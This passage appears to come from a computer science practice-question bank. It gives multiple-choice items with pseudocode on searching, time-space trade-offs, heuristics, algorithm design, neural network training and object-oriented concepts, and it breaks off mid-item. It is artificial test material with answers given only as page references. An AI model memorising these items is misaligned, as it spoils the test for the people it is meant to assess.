A. The codes are not sorted, so when `33` proves smaller than `47`, the search discards the left part, where `47` is.

B. The condition `low <= high` ends the search one step early, so the last value in the range is not compared.

C. The list holds an odd number of codes, so its middle falls between two values and the range is lost.

D. The middle position is rounded down, so the search skips the value in the second position of a list.

Answer: page 1009

0002.k.7.4

To speed up searches of a sorted list of book prices, a student changes a linear search so that it stops as soon as it reaches a value at least as large as the target, as in the snippet below. The student argues that, since the list is sorted, the change makes the search O(log n). Which statement best evaluates the argument?

```
01 int[] a = [3, 8, 12, 20, 31, 47]
02 int i = 0
03 while (i < a.size[1] - 1 AND a[i] < 25)
04   i = i + 1
05 output(a[i] == 25)
```

A. It is correct, since each check of a sorted list rules out all prices before it, halving the part that remains.

B. It is correct, since on a sorted list the search stops at the target's position, about halfway along on average.

C. It is mistaken, since a target above every price still means checking each price in turn, which is O(n).

D. It is mistaken, since the extra check made on each pass slows the search to worse than O(n).

Answer: page 1009

0002.k.7.5

A district's technology office reviews two search tasks. In the first, a teacher's program looks up one student, once each week, in an unsorted list of 40 names. In the second, a library catalog of 2,000,000 titles changes once each night and receives thousands of lookups every second. Which plan best suits the two tasks?

A. a linear search for both tasks, since sorting before each catalog lookup would cost more than the linear search it replaces

B. a binary search for both tasks on each list as stored, since binary search takes O(log n) time

C. a linear search for the teacher's list, and one nightly sort of the catalog followed by binary search for each lookup

D. a sort followed by binary search for both tasks, since sorting makes later searches faster

Answer: page 1009

Time and space trade-offs

0002.k.8.1

A fitness application asks how many different ways a user can climb a staircase of n steps, taking either one or two steps at a time. A developer has written the two functions below, which return the same counts. For staircases of about 40 steps, `ways_a` makes the application pause noticeably, while `ways_b` responds at once.

```
01 /* number of ways to climb n steps, taking 1 or 2 at a time */
02 function ways_a(int n)
03   if (n <= 1)
04     return 1
05   return ways_a(n - 1) + ways_a(n - 2)
06
07 function ways_b(int n)
08   int[] w = [1, 1]
09   for (int i = 2; i <= n; i = i + 1)
10     w.append(w[i - 1] + w[i - 2])
11   return w[n]
12
13 output(ways_a(10))
14 output(ways_b(10))
```

Which statement best compares the two functions?

A. `ways_a` stores about n counts and does about n additions, whereas `ways_b` stores little but recomputes counts many times.

B. `ways_b` stores about n counts and does about n additions, whereas `ways_a` stores little but recomputes counts many times.

C. Both functions do about n additions, since each computes the counts from 1 to n once, differing in style.

D. `ways_b` is faster mainly because loops run faster than function calls, and both keep the same data.

Answer: page 1009

0002.k.8.2

A handheld graphing calculator has memory for only a few hundred values beyond its programs. A student must write a function that reports whether any value appears twice in a list of at most 50 readings, each an integer from 0 to 1,000,000. One plan compares every pair of readings. Another plan builds a table with one entry for every possible reading and marks each reading as it is seen. Which plan is more suitable, and why?

A. comparing every pair, since the table would need about 50^2 entries, one per pair of readings, exceeding the memory

B. building the table, since its memory is released when the function returns, so the table's size does not matter

C. comparing every pair, since about 1,225 comparisons take little time, and the table needs far more memory than the calculator has

D. building the table, since one pass through the readings is O(n), and O(n) is preferable to $O(n^2)$ on any device

Answer: page 1009

0002.k.8.3

A mathematics practice game checks thousands of times per second whether numbers from 0 to 50,000 are prime. A developer adds code like the snippet below, shown here with a limit of 50, so that the game builds a table once at start-up and afterward checks each number by reading the table instead of testing divisors.

```
01 bool[] prime = [FALSE, FALSE]
02 for (int n = 2; n <= 50; n = n + 1)
03   bool p = TRUE
04   for (int d = 2; d * d <= n; d = d + 1)
05     if (n % d == 0)
06       p = FALSE
07   prime.append(p)
08 output(prime[37])
09 output(prime[39])
```

Which statement best describes the effect of the change?

A. The game uses less memory than before, since the table replaces the variables that each series of divisions would need.

B. The game gains no speed, since the table is rebuilt each time a number is checked, repeating all of the divisions.

C. The game becomes faster and needs no extra memory, since a table of `TRUE` and `FALSE` values is part of the code.

D. The game stores a value for each number up to the limit, so each later check is a lookup, not divisions.

Answer: page 1009

0002.k.8.4

A fitness application stores a year of daily step counts for each user and answers many questions of the form "How many steps did I take from day i through day j?" The data change once a day, and users ask hundreds of such questions in a session. A developer compares the two versions below, shown with a week of data.

```
01 int[] steps = [4, 9, 2, 7, 5, 8, 3]
02
03 /* version 1: adds the values from day i through day j each time */
04 function total_1(int i, int j)
05   int t = 0
06   for (int k = i; k <= j; k = k + 1)
07     t = t + steps[k]
08   return t
09
10 /* version 2: before[k] holds the sum of the first k values */
11 int[] before = [0]
12 for (int k = 0; k < steps.size[1]; k = k + 1)
13   before.append(before[k] + steps[k])
14
15 function total_2(int i, int j)
16   return before[j + 1] - before[i]
17
18 output(total_1(2, 5))
19 output(total_2(2, 5))
```

Which statement best describes the trade-off that version 2 makes?

A. It stores no extra data, since `before` holds the same values as `steps`, and subtracting is faster than adding.

B. It takes more time per question, since it must rebuild `before` from the full year whenever a question is asked.

C. It saves memory per question but takes the same time, since both versions read the count for each day in the range.

D. It stores a running total per day, so each question takes one subtraction instead of a pass over the days.

Answer: page 1009

0002.k.8.5

A school district's routing software calculates the travel time between two bus stops whenever a planner requests it. A team proposes precomputing the travel time for every pair of stops and storing all of the results in a table. In which situation would the proposal be least worthwhile?

A. The district has 500 stops, memory on the server is plentiful, and planners request nearly every pair of stops each morning.

B. The district has 300 stops, the same few pairs are requested thousands of times daily, and each calculation takes seconds.

C. The district has 200,000 stops, planners request a few hundred pairs each day, and each calculation takes a few milliseconds.

D. The district has 1,000 stops, the roads rarely change, and each calculation must request data from a costly outside mapping service.

Answer: page 1009

Intractable problems and heuristics

0002.k.9.1

A delivery app plans the order of stops along a straight rural road. Today's stops are at mile markers 3, 9, 14, and 20, and the driver starts at marker 10. The program below displays 29, the total miles driven. A dispatcher checks all 24 possible orders by hand and finds one that needs only 24 miles.

```
01 int[] stops = [3, 9, 14, 20]
02 bool[] done = [FALSE, FALSE, FALSE, FALSE]
03 int here = 10
04 int total = 0
05 for (int k = 0; k < stops.size[1]; k = k + 1)
06   int best = -1
07   int best_d = 1000
08   for (int i = 0; i < stops.size[1]; i = i + 1)
09     int d = stops[i] - here
10     if (d < 0)
11       d = -d
12     if (NOT(done[i]) AND d < best_d)
13       best = i
14       best_d = d
15   done[best] = TRUE
16   total = total + best_d
17   here = stops[best]
18 output(total)
```

Which statement best describes the program's approach?

A. It should check every possible order instead, since for a day's 200 stops that would take only about 200^2 steps.

B. It has an error in its distance calculation, since always driving to the closest unvisited stop gives the shortest route.

C. It makes the closest choice at each step without reconsidering, which is fast but does not guarantee the shortest route.

D. It should drive to the farthest unvisited stop instead, since that avoids a long trip back and gives the shortest route.

Answer: page 1010

0002.k.9.2

A student's seating program tries every arrangement of a class in a single row of seats and scores each arrangement. Before searching, it reports how many arrangements it will try, using the snippet below. For a class of 8 students it displays `40320` and finishes its search in under a second. The teacher now wants to use it for a class of 25 students.

```
01 int students = 8
02 int count = 1
03 for (int k = 2; k <= students; k = k + 1)
04   count = count * k
05 output(count)
```

Which statement best describes what will happen?

A. The program will run out of integers large enough to count the arrangements, but the search will finish quickly.

B. The search will take about 25/8, or roughly 3, times as long, since work grows in proportion to class size.

C. The search will take about $(25/8)^2$, or roughly 10, times as long, since each student is compared with every other.

D. The search will not finish in any useful time, since 25 students allow about 1.6×10^{25} arrangements.

Answer: page 1010

0002.k.9.3

A chess program must choose each move within 10 seconds. Looking ahead at every possible sequence of moves would take far longer, so the program stops exploring any line of play in which it loses a piece without gaining anything within two moves. In testing, it occasionally misses the sacrifice of a piece that would have won the game several moves later. Which statement best describes this behavior?

A. The program reuses results stored from earlier games, which are sometimes out of date when the board differs slightly.

B. Cutting off unpromising lines lets the program finish in time, but it can occasionally discard the line that was best.

C. The program has an error, since ignoring unpromising lines should not change which move is found.

D. The program would find the winning sacrifice on hardware a thousand times faster by searching the full game tree.

Answer: page 1010

0002.k.9.4

A school district schedules final exams for 40,000 students so that no student has two exams at once and as few students as possible have three exams in one day. An exact method would have to consider more possible schedules than could be checked in many lifetimes. A heuristic produces a schedule in four minutes. On smaller test cases whose best schedules are known, its schedules leave about 3 percent more students with three exams in a day. Which conclusion is most appropriate?

A. The heuristic should be rejected, since a scheduling method must be exact to be valid.

B. The heuristic should be replaced by the exact method on a computer a thousand times faster.

C. The heuristic will keep its schedules within 3 percent of the best in future terms, since it did so on the test cases.

D. The heuristic may well be acceptable, if a schedule about 3 percent worse than the best meets the district's needs.

Answer: page 1010

0002.k.9.5

A district's technology coordinator reviews four programming projects to decide which one will most likely require a heuristic rather than an exact algorithm, given realistic data. Which project is it?

A. finding one student's record by ID in a sorted array of 2,000,000 records stored on the district's server

B. finding the shortest single route that visits each of a district's 150 bus stops exactly once and returns to the depot

C. finding which two of a school's 3,000 students live closest together, by comparing every pair of home addresses

D. sorting 5,000,000 student test scores from highest to lowest for a statewide report published once each year

Answer: page 1010

Algorithm design techniques

0002.k.10.1

A computer science teacher shows the function below, which finds the highest score in part of an array, to introduce a design technique. The teacher notes that the same function could have been written with a single loop.

```
01 /* returns the highest score from v[lo] through v[hi] */
02 function top(int[] v, int lo, int hi)
03   if (lo == hi)
04     return v[lo]
05   int mid = (lo + hi - (lo + hi) % 2) / 2
06   int a = top(v, lo, mid)
07   int b = top(v, mid + 1, hi)
08   if (a > b)
09     return a
10   return b
11
12 int[] scores = [72, 95, 88, 61, 90, 77]
13 output(top(scores, 0, 5))
```

Which statement best identifies the technique?

A. decomposition, since it divides the program into separately written functions, each responsible for a different part of the task

B. divide and conquer, since it solves the same problem on two halves of the range and combines the answers

C. generate and test, since it produces each score as a candidate and then tests whether it is the highest

D. greedy choice, since it keeps whichever score is larger at each step and never revisits a score that it has already set aside

Answer: page 1010

0002.k.10.2

An arcade's prize counter pays out points in tokens worth 4, 3, and 1 points, and it should use as few tokens as possible. For a prize of 6 points, the program below displays 3, paying one 4-point token and two 1-point tokens, although two 3-point tokens would have been enough.

```
01 int[] tokens = [4, 3, 1]
02 int amount = 6
03 int used = 0
04 for (int i = 0; i < tokens.size[1]; i = i + 1)
05   while (amount >= tokens[i])
06     amount = amount - tokens[i]
07     used = used + 1
08 output(used)
```

Which statement best explains the result?

A. The condition `amount >= tokens[i]` takes one token too many when the amount left equals a token, and should use `>`.

B. The program splits the amount into two halves and pays each half separately, adding a token whenever the halves are uneven.

C. The program takes the largest token that fits at each step without reconsidering, which can miss the fewest tokens.

D. The program tries every combination of tokens and reports the first one that works rather than the fewest.

Answer: page 1010

0002.k.10.3

A teacher needs to divide a class of 30 students into groups of 4 and groups of 3, with no student left over. The teacher writes the snippet below to list every possibility, displaying each number of groups of 4 followed by the matching number of groups of 3. Which design technique does the snippet use?

```
01 for (int a = 0; a <= 10; a = a + 1)
02   for (int b = 0; b <= 10; b = b + 1)
03     if (4 * a + 3 * b == 30)
04       output(a)
05       output(b)
```

A. decomposition, since its condition separates the task into one sub-problem for groups of 4 and another for groups of 3

B. generate and test, since it produces every pair of group counts within a range and checks each pair against the condition

C. greedy choice, since it forms as many groups of 4 as it can and fills the remaining places with groups of 3

D. divide and conquer, since the nested loops divide the class into smaller groups and then combine their sizes into a total

Answer: page 1010

0002.k.10.4

A team of students builds a program that plans school bus routes. They divide the work into a part that reads student addresses from a file, a part that groups nearby addresses into stops, a part that orders the stops into routes, and a part that prints a schedule for each driver. Each student writes and tests one part. Which statement best describes the technique, and how it differs from divide and conquer?

A. decomposition, since the task becomes different sub-problems, whereas divide and conquer solves smaller instances of one problem

B. greedy choice, since each part makes the best decision for its own step, whereas divide and conquer reconsiders its decisions

C. divide and conquer, since the task is split into parts whose results are combined, which divide and conquer requires

D. generate and test, since each part generates output that the next tests, whereas divide and conquer passes no results

Answer: page 1010

0002.k.10.5

A cafeteria's register gives change in coins worth 25, 10, 5, and 1 cents, using as few coins as possible. One version of its program repeatedly takes the largest coin that fits. Another version lists every combination of coins that adds up to the amount and keeps the combination with the fewest coins. For these coin values, both versions always give the same answer. Which statement best compares the two versions?

A. Both do the same amount of work, since each ends with the same coins, and an algorithm's work depends on its answer.

B. The second is faster, since it checks each combination once, while the first must reconsider earlier choices when a coin does not fit.

C. The first would also find the fewest coins for other coin values, since taking the largest coin first minimizes the count.

D. The first is far faster, but only the second would find the fewest coins for every possible set of coin values.

Answer: page 1010

Neural network training

0002.k.11.1

A student's neural network for recognizing handwritten digits has three layers and about 100,000 weights. Nudging each weight in turn and running the whole network again to see whether the error falls would take about 100,000 runs for every training example. Instead, the training code runs the network forward once, measures the error, and then makes one pass backward through the layers. What does this backward pass compute?

A. the network's output for the next training example, calculated layer by layer from the output back toward the input

B. every possible combination of weight settings, tested one at a time until the one with the smallest error is found

C. the correct value of each weight, found by comparing each weight with a stored table of a fully trained network's weights

D. how much each weight contributed to the error, working from the output layer back toward the input

Answer: page 1010

0002.k.11.2

Students train a neural network to predict the next day's high temperature from weather readings. For each training example, their code subtracts the actual temperature from the network's prediction, squares the difference, and averages these squares over all of the examples. Training then adjusts the weights to make this average smaller. Which term best describes the averaged quantity?

A. a test set, which holds examples kept apart from training to check how well the network generalizes

B. a learning rate, which sets how large each adjustment to the network's weights should be

C. an activation function, which converts the total input of each neuron into that neuron's output

D. a loss function, which measures how far the network's outputs are from the desired outputs

Answer: page 1011

0002.k.11.3

A student trains an image classifier for 60 rounds, recording its loss both on the training images and on a separate set of images held back for testing. Both losses fall for the first 20 rounds. After that, the training loss keeps falling, while the loss on the held-back images rises steadily. Which statement best explains this pattern?

A. After round 20, the held-back images become harder, since a different set of images is used in each round.

B. After round 20, the network is too simple to capture the patterns, so its loss on every set begins to rise.

C. After round 20, backpropagation begins to adjust the weights in the wrong direction, raising the loss on the held-back images.

D. After round 20, the network increasingly fits details of the training images that do not carry over to new images.

Answer: page 1011

0002.k.11.4

A small network computes a hidden value h from its input using a weight w_1, and then computes an output y from h using a weight w_2. A loss L compares y with the desired output. To adjust w_1, the training algorithm needs the rate at which L changes as w_1 changes, although w_1 affects L only through h and y. How does backpropagation obtain this rate?

A. by adding the rates at which L changes with y, y changes with h, and h changes with w_1

B. by changing w_1 slightly, retraining the whole network from the start, and comparing the new loss with the old one

C. by treating the rate as zero, since w_1 is not connected directly to the output, so only w_2 needs adjusting

D. by multiplying the rates at which L changes with y, y changes with h, and h changes with w_1

Answer: page 1011

0002.k.11.5

A teacher explains why training a network with 50 layers is feasible. Rather than working out every weight's effect on the error in one enormous calculation, the training algorithm finds each layer's share of the error from the share already found for the layer after it, so each step involves only one layer's weights. Which algorithm design technique does this approach most clearly reflect?

A. decomposition, since one large calculation becomes a sequence of smaller calculations, each involving a single layer

B. pruning, since layers that contribute little to the error are removed so that fewer layers remain to be trained

C. divide and conquer, since the data are split into halves, each half trains its own network, and the networks are combined

D. generate and test, since each possible setting of the weights is generated and then tested against the loss for that layer

Answer: page 1011

0002.l Object-oriented concepts

Read about this in the content summary: 0002.l, page 85.

Modularization

0002.l.1.1

A school cafeteria's point-of-sale program is divided into the two modules shown, followed by a short main program. Next term, the team that maintains Menu plans to change how prices are stored,

moving them to a different data structure and recording them in cents. The team that maintains Register does not want its code to change when that happens.

```
/* module Menu: owns the price data */
String int{} prices = {"soup": 3, "salad": 5, "wrap": 6}

function price_of(String item)
  return prices{item}

function add_item(String item, int price)
  prices{item} = price

/* module Register: totals an order */
function order_total(String[] order)
  int total = 0
  for (int i = 0; i < order.size[1]; i = i + 1)
    String item = order[i]
    total = total + prices{item}
  return total

/* main program */
add_item("fruit", 2)
String[] lunch = ["soup", "fruit"]
output(order_total(lunch))
```

Which revision best prepares the program for this plan?

A. moving `add_item()` into the Register module, so that a single team controls every statement that changes a price

B. adding a comment above `prices` that asks the Register team to rewrite its loop whenever the Menu team changes the map

C. copying the `prices` map into the Register module, so that each module holds its own version of the data that it reads

D. replacing the read of `prices` inside `order_total()` with a call to `price_of()`, the function that Menu exposes

Answer: page 1011

0002.l.1.2

A team divides a grade-reporting program into three modules: Import reads grade files, Compute calculates averages, and Report formats the results for families. The Import module is still weeks from completion, but the programmer responsible for Compute needs to confirm now that the averages are correct. Which feature of the design most directly allows this work to go ahead?

A. Compute reads the internal variables of Import directly, so its results will always reflect the most recent files that were imported.

B. Import will be finished and tested first, so the programmer of Compute can then check averages using real files from the school.

C. All three modules will be combined into a single file before testing, so errors in Compute will appear along with any errors from Import.

D. Compute accepts scores through a public function, so its programmer can call that function with its own small array of known values.

Answer: page 1011

0002.l.1.3

A conference check-in program is divided into the modules shown. The authors of Names document `display_name()` as the module's public function. During a cleanup, they rename `trim_title()` to `remove_title()`. The behavior of `display_name()` does not change, and all of the tests for Names still pass, but the Badges module stops working.

```
01 /* module Names */
02 function trim_title(String full)
03   /* drops a four-character title such as "Dr. " */
04   return full.sub(4, full.len - 1)
05
06 function display_name(String full)
07   return concat("Name: ", trim_title(full))
08
09 /* module Badges */
10 function badge_text(String full)
11   String short = trim_title(full)
12   return concat(short, " - Visitor")
13
14 /* main program */
15 String guest = "Dr. Okafor"
16 output(display_name(guest))
17 output(badge_text(guest))
```

Which design problem does this failure most directly expose?

A. `display_name()` should have stored each trimmed name in a global variable, so that every module could read the same value.

B. `badge_text()` relies on a helper that belongs to the inner workings of Names, rather than on what the module offers publicly.

C. Names should have been tested using the inputs of Badges, since a module cannot be tested apart from the modules that call it.

D. `trim_title()` should have been given a permanent name when it was written, since a function can never be safely renamed.

Answer: page 1011

0002.l.1.4

A public library's program is divided into the modules shown. Staff report that a member who has just paid a fine in full is still refused when trying to borrow a book. The problem has appeared before, and each time a programmer patched the particular function involved. The library wants to remove the underlying cause.

```
01 /* module Members */
02 String int{} fines = {"Ana": 4, "Ben": 0}
03
04 function pay_fine(String who)
05   fines{who} = 0
06
07 /* module Checkout */
08 String int{} owed = {"Ana": 4, "Ben": 0}
09
10 function can_borrow(String who)
11   return owed{who} == 0
12
13 /* main program */
14 pay_fine("Ana")
15 output(can_borrow("Ana"))
```

Which design change best achieves this?

A. having `pay_fine()` also clear the member's entry in `owed`, so that this one function updates both modules whenever a fine is paid

B. renaming `owed` to `fines` in the Checkout module, so that the two modules refer to the amount that each member owes by one name

C. adding a step to the main program that copies every value from `fines` into `owed` once per day, after the library has closed

D. having Members alone hold what each person owes, and having `can_borrow()` ask for that amount through a public function of Members

Answer: page 1011

0002.l.1.5

A student's 900-line quiz game keeps its question data, scoring rules, and screen drawing in one file, and functions in each area read and change variables used by the others. Changing how scores appear on the screen has twice broken the scoring rules. The student plans to split the file. Which plan best addresses the reason that such changes keep spreading?

A. one module each for questions, scoring, and drawing, with each module keeping its own data and offering a few public functions to the others

B. one module for all of the variables and another for all of the functions, so that every function can find its data in one predictable place

C. three files of about 300 lines each, divided at every 300th line of the program, so that no single file is too long for the student to read

D. one module for code written this year and one for older code, with both of them still able to read and change each other's variables as needed

Answer: page 1011

Classes and instances

0002.l.2.1

A school's field-day scoreboard uses the class shown, and each team on the field is represented by one object. Partway through the day, the scorekeeper's entries are processed in the order shown at the end of the program.

```
01 /* self is the calling object; the method named for the class is the constructor */
02 class Team
03   String name
04   int points
05
06   function Team(String n)
07     self.name = n
08     self.points = 0
09
10   function score(int p)
11     self.points = self.points + p
12
13 Team red = Team("Red")
14 Team blue = Team("Blue")
15 red.score(3)
16 blue.score(2)
17 red.score(1)
18 output(red.points)
19 output(blue.points)
```

Which output should be expected when the program runs?

A. `>>> 1` and then `>>> 2`, because each new call to `score()` replaces the value left by an earlier call on that object

B. `>>> 6` and then `>>> 6`, because the class keeps one running total for all of the teams created from it

C. `>>> 4` and then `>>> 2`, because each call changes the points of only the team on which it is called

D. `>>> 3` and then `>>> 2`, because a method can change an object's attribute only the first time it is called on that object

Answer: page 1011

0002.1.2.2

A school's activities program tracks club membership with the class shown. In this notation, an attribute read through the class name, as in `Club.members`, exists once for the whole class. The program reports `3` for each club, although the chess club has two members and the robotics club has one.

```
01 /* self is the calling object; the method named for the class is the constructor */
02 class Club
03   String[] members = []
04   String title
05
06   function Club(String t)
07     self.title = t
08
09   function join(String who)
10     Club.members.append(who)
11
12   function count()
13     return Club.members.size[1]
14
15 Club chess = Club("Chess")
16 Club robotics = Club("Robotics")
17 chess.join("Ana")
18 chess.join("Ben")
19 robotics.join("Cy")
20 output(chess.count())
21 output(robotics.count())
```

Which statement best identifies the cause of the incorrect counts?

A. The constructor runs once for the class rather than once per object, so `robotics` is the same object as `chess`.

B. Membership is stored in a single array belonging to the class itself, although it describes each club separately.

C. The object `robotics` was created after `chess`, so creating it replaced both the title and the members held by `chess`.

D. The method `count()` takes no arguments, so it has no way of knowing which of the two objects it was called on.

Answer: page 1011

0002.l.2.3

A middle school is replacing a paper log with a program that tracks its 400 hallway lockers. Every locker has the same kinds of data, namely a number, a combination, and an assigned student, along with the same actions, assigning and clearing. The data for each locker changes independently of the data for the others. Which design best fits this situation?

A. one `Locker` object with 400 separately written assign methods and clear methods, one pair of them for each locker in the school

B. one `Locker` class with no objects, keeping the number, combination, and student in attributes that all of the lockers share and take turns using

C. one `Locker` class, with 400 objects created from it, each holding its own number, combination, and student, all using the same two methods

D. 400 classes, named `Locker1` through `Locker400`, with one object from each, so that no locker's data can reach any other locker's data

Answer: page 1011

0002.l.2.4

A school library's catalog uses a class `Book`. Its attribute `available` is set to `TRUE` when an object is created, and its method `check_out()` sets that attribute to `FALSE`. The library owns two copies of one title and creates one object for each copy. A volunteer runs the lines shown to learn how the catalog will treat them.

```
01 Book first = Book("Dune")
02 Book second = Book("Dune")
03 first.check_out()
04 output(first.available)
05 output(second.available)
```

Which result should the volunteer expect?

A. `>>> FALSE` and then `>>> TRUE`, because a method call changes only the object on which it is called, not its twin

B. `>>> FALSE` and then `>>> ERROR`, because `second` has not called `check_out()` and so has no value yet for that attribute

C. `>>> TRUE` and then `>>> TRUE`, because attributes keep the values set at creation and later method calls cannot change them

D. `>>> FALSE` and then `>>> FALSE`, because two objects created with the same title refer to one record held by the class

Answer: page 1011

0002.l.2.5

A building-monitoring program records readings from two rooms. Each `Sensor` object totals the readings sent to it and counts how many it has received. The loop sends each new reading to one of the two objects in turn.

```
01 /* self is the calling object; the method named for the class is the constructor */
02 class Sensor
03   String room
04   int total
05   int count
06
07   function Sensor(String r)
08     self.room = r
09     self.total = 0
10     self.count = 0
11
12   function record(int value)
13     self.total = self.total + value
14     self.count = self.count + 1
15
16 Sensor[] rooms = [Sensor("gym"), Sensor("lab")]
17 for (int i = 0; i < 4; i = i + 1)
18   rooms[i % 2].record(10 * (i + 1))
19
20 output(rooms[0].total)
21 output(rooms[1].count)
```

Which output would the program produce?

A. `>>> 30` and then `>>> 1`

B. `>>> 40` and then `>>> 2`

C. `>>> 40` and then `>>> 4`

D. `>>> 100` and then `>>> 4`

Answer: page 1011

Encapsulation

0002.l.3.1

A school greenhouse controller must never aim for a temperature below `50` or above `90`. Testers have confirmed that `set_target()` rejects values out of that range. Even so, the monitoring log shows a target of `120` after a maintenance routine, written by a different programmer, was added to the program.

```
01 /* self is the calling object; the method named for the class is the constructor */
```

```
02 class Heater
03   int target
04
05   function Heater()
06     self.target = 70
07
08   function set_target(int t)
09     if ((t >= 50) AND (t <= 90))
10       self.target = t
11     else
12       output("Rejected")
13
14 Heater h = Heater()
15 h.set_target(95)
16 output(h.target)
17 /* added by the maintenance routine */
18 h.target = 120
19 output(h.target)
```

Which change most directly prevents this kind of failure?

A. adding a comment above `target` that lists the allowed range, so that other programmers can see the rule before they edit any code

B. changing the condition in `set_target()` to also reject the values `50` and `90`, so that a wider safety margin applies to the target

C. setting `target` to `70` again in the constructor, so that each new `Heater` object is sure to begin with a value in the allowed range

D. preventing code outside the class from assigning to `target`, so that every change must pass through the check in `set_target()`

Answer: page 1012

0002.l.3.2

The authors of the class shown plan to replace the array in `Gradebook` with a map from assignment names to scores. They will rewrite the bodies of the methods, but `add()`, `count()`, and `last()` will keep their names, arguments, and results. The code after line 17 belongs to a different team.

```
01 /* self is the calling object; the method named for the class is the constructor */
02 class Gradebook
03   int[] scores
04
05   function Gradebook()
06     self.scores = []
07
08   function add(int s)
09     self.scores.append(s)
```

```
10
11   function count()
12     return self.scores.size[1]
13
14   function last()
15     return self.scores[self.scores.size[1] - 1]
16
17 /* reporting code */
18 Gradebook g = Gradebook()
19 g.add(88)
20 g.add(93)
21 output(g.count())
22 output(g.last())
23 output(g.scores[0])
```

Which statement in the reporting code must be changed as a result of the plan?

A. `g.add(93)`, since a value cannot be placed in a map without a key, so that the call has to supply more than it does at present

B. `output(g.last())`, since the idea of a last value depends on how the class stores its scores, and that storage will now be different

C. `output(g.scores[0])`, since it reaches into the array inside the class, which the plan replaces with a map

D. `Gradebook g = Gradebook()`, since the constructor assigns a new kind of structure, so that the object must be created in a new way

Answer: page 1012

0002.l.3.3

During a code review of a ticketing program, one developer proposes a comment beside the attribute `seats_left` stating that no code should ever set it below `0`. A second developer proposes that the attribute be changed only by a `sell()` method, which checks the count first, with direct assignment from elsewhere disallowed. Which statement best supports the second proposal?

A. A method call takes less time than an assignment statement, so a program that sells many tickets will finish its work more quickly.

B. A comment makes an attribute visible to every part of a program, so that other classes will be able to inherit the value of `seats_left`.

C. A method can refuse an invalid change while the program runs, whereas a comment relies on each programmer to read it and comply.

D. A method encrypts the attribute's value as it is stored, so that no other part of the program is able to read the number of seats.

Answer: page 1012

0002.l.3.4

A student builds a class with a `password` attribute that only its `check_password()` method can read. The program also saves each object's contents to a plain text file on a shared server. The student reports that restricting the attribute means that the passwords are now secure from anyone who can open the file. Which assessment is most accurate?

A. The restriction is effective for the file only if each method in the class is restricted as well, since public methods cancel it.

B. The restriction hides the source code of the class from other people, so anyone opening the file will be unable to interpret its contents.

C. The restriction governs which code in the program can use the attribute, so it provides no protection for the text saved in the file.

D. The restriction encrypts the attribute whenever an object is saved, so the student's claim is accurate for the file and for memory.

Answer: page 1012

0002.l.3.5

A cafeteria's meal-card program must never let a balance fall below zero, and a charge that the card cannot cover should leave the balance as it was. The class shown will be the only code allowed to change `balance`. For the main program shown, the expected output is `2`, since the second charge should be refused.

```
01 /* self is the calling object; the method named for the class is the constructor */
02 class MealCard
03   int balance
04
05   function MealCard(int start)
06     self.balance = start
07
08   function charge(int cost)
09     /*selected code goes here*/
10
11 MealCard c = MealCard(5)
12 c.charge(3)
13 c.charge(4)
14 output(c.balance)
```

Which code, in place of line 09, enforces the rule?

A.

```
if (self.balance > 0)
```

```
    self.balance = self.balance - cost
```

B.

```
int remaining = self.balance - cost
if (remaining >= 0)
  output(remaining)
```

C.

```
self.balance = self.balance - cost
if (self.balance < 0)
  output("Insufficient funds")
```

D.

```
if (cost <= self.balance)
  self.balance = self.balance - cost
```

Answer: page 1012

Inheritance

0002.l.4.1

A school's identification-card program contains the two classes shown. Last year, a correction to the format of `badge()` was made in `Student` but overlooked in `Teacher`, and printed cards disagreed for months. The school wants any future correction to that format to be made in exactly one place.

```
01 /* self is the calling object; the method named for the class is the constructor */
02 class Student
03   String name
04   String id
05   function Student(String n, String i)
06     self.name = n
07     self.id = i
08
09   function badge()
10     return concat(self.name, " #", self.id)
11
12   function enroll(String course)
13     output(concat(self.name, " takes ", course))
14
15 class Teacher
16   String name
17   String id
18   function Teacher(String n, String i)
19     self.name = n
20     self.id = i
21
22   function badge()
```

```
23     return concat(self.name, " #", self.id)
24
25   function assign(String course)
26     output(concat(self.name, " teaches ", course))
```

Which revision best meets this goal?

A. creating one `Student` object inside each `Teacher` object and keeping both versions of `badge()`, so that the two classes can then check each other's results

B. a new class `Person` that holds the attributes, the constructor, and `badge()`, with `Student` and `Teacher` extending it, so a fix is made once

C. moving `badge()` to the first position in each class definition and marking both copies with a matching comment, so that the copies are easy to compare

D. adding a rule to the team's style guide stating that a programmer who corrects `badge()` in one class must also correct it in the other class

Answer: page 1012

0002.l.4.2

A theater's box-office program prices tickets with the classes shown, and it currently outputs `12` and then `11`. The manager announces that the standard service fee is now `3`, so a programmer changes line 09 to `return self.base + 3`. No other line of the program is changed, and group tickets keep their own separately negotiated fee.

```
01 /* self is the calling object; the method named for the class is the constructor */
02 class Ticket
03   int base
04
05   function Ticket(int b)
06     self.base = b
07
08   function price()
09     return self.base + 2
10
11 class StudentTicket extends Ticket
12   function label()
13     return "student"
14
15 class GroupTicket extends Ticket
16   function price()
17     return self.base + 1
18
19 StudentTicket s = StudentTicket(10)
20 GroupTicket g = GroupTicket(10)
21 output(s.price())
22 output(g.price())
```

Which output will the revised program produce?

A. `>>> 13` and then `>>> 13`, because a change to a parent's method replaces all of the versions written in its subclasses

B. `>>> 12` and then `>>> 11`, because each subclass received its own copy of the parent's method when the program was first written

C. `>>> 13` and then `>>> 11`, because only a subclass that has no version of its own uses the parent's method, while the others do not

D. `>>> 13` and then `>>> 12`, because a subclass's own method adds its fee to the change made in the parent's version of the method

Answer: page 1012

0002.l.4.3

A school's device-inventory program has a class `Device`, which defines `charge()`, and a class `Tablet`, which extends `Device` and adds `pair_stylus()`. A technician runs the lines shown, and the run ends in `ERROR`.

```
01 Device d = Device()
02 Tablet t = Tablet()
03 t.charge()
04 t.pair_stylus()
05 d.pair_stylus()
```

Which statement correctly identifies the statement at fault?

A. `Tablet t = Tablet()`, because an object cannot be created from a subclass until an object of its parent has been created for it

B. `d.pair_stylus()`, because members added by a subclass are not available to objects of its parent, whose class lacks that method

C. `t.pair_stylus()`, because a subclass is limited to the methods that it receives from its parent, so that any addition is invalid

D. `t.charge()`, because a method defined in a parent class cannot be called on a subclass object unless the subclass rewrites it

Answer: page 1012

0002.l.4.4

A flooring company's estimating program models tiles with the classes shown. A programmer has reused `Rectangle` so that a square tile need not repeat its attributes or `area()`. Code elsewhere in the program handles all tiles alike and calls `set_width()` when adjusting a measurement. The program now outputs `24` for a tile that should have four equal sides.

```
01 /* self is the calling object; the method named for the class is the constructor */
02 class Rectangle
03   int width
04   int height
05
06   function Rectangle(int w, int h)
07     self.width = w
08     self.height = h
09
10   function set_width(int w)
11     self.width = w
12
13   function area()
14     return self.width * self.height
15
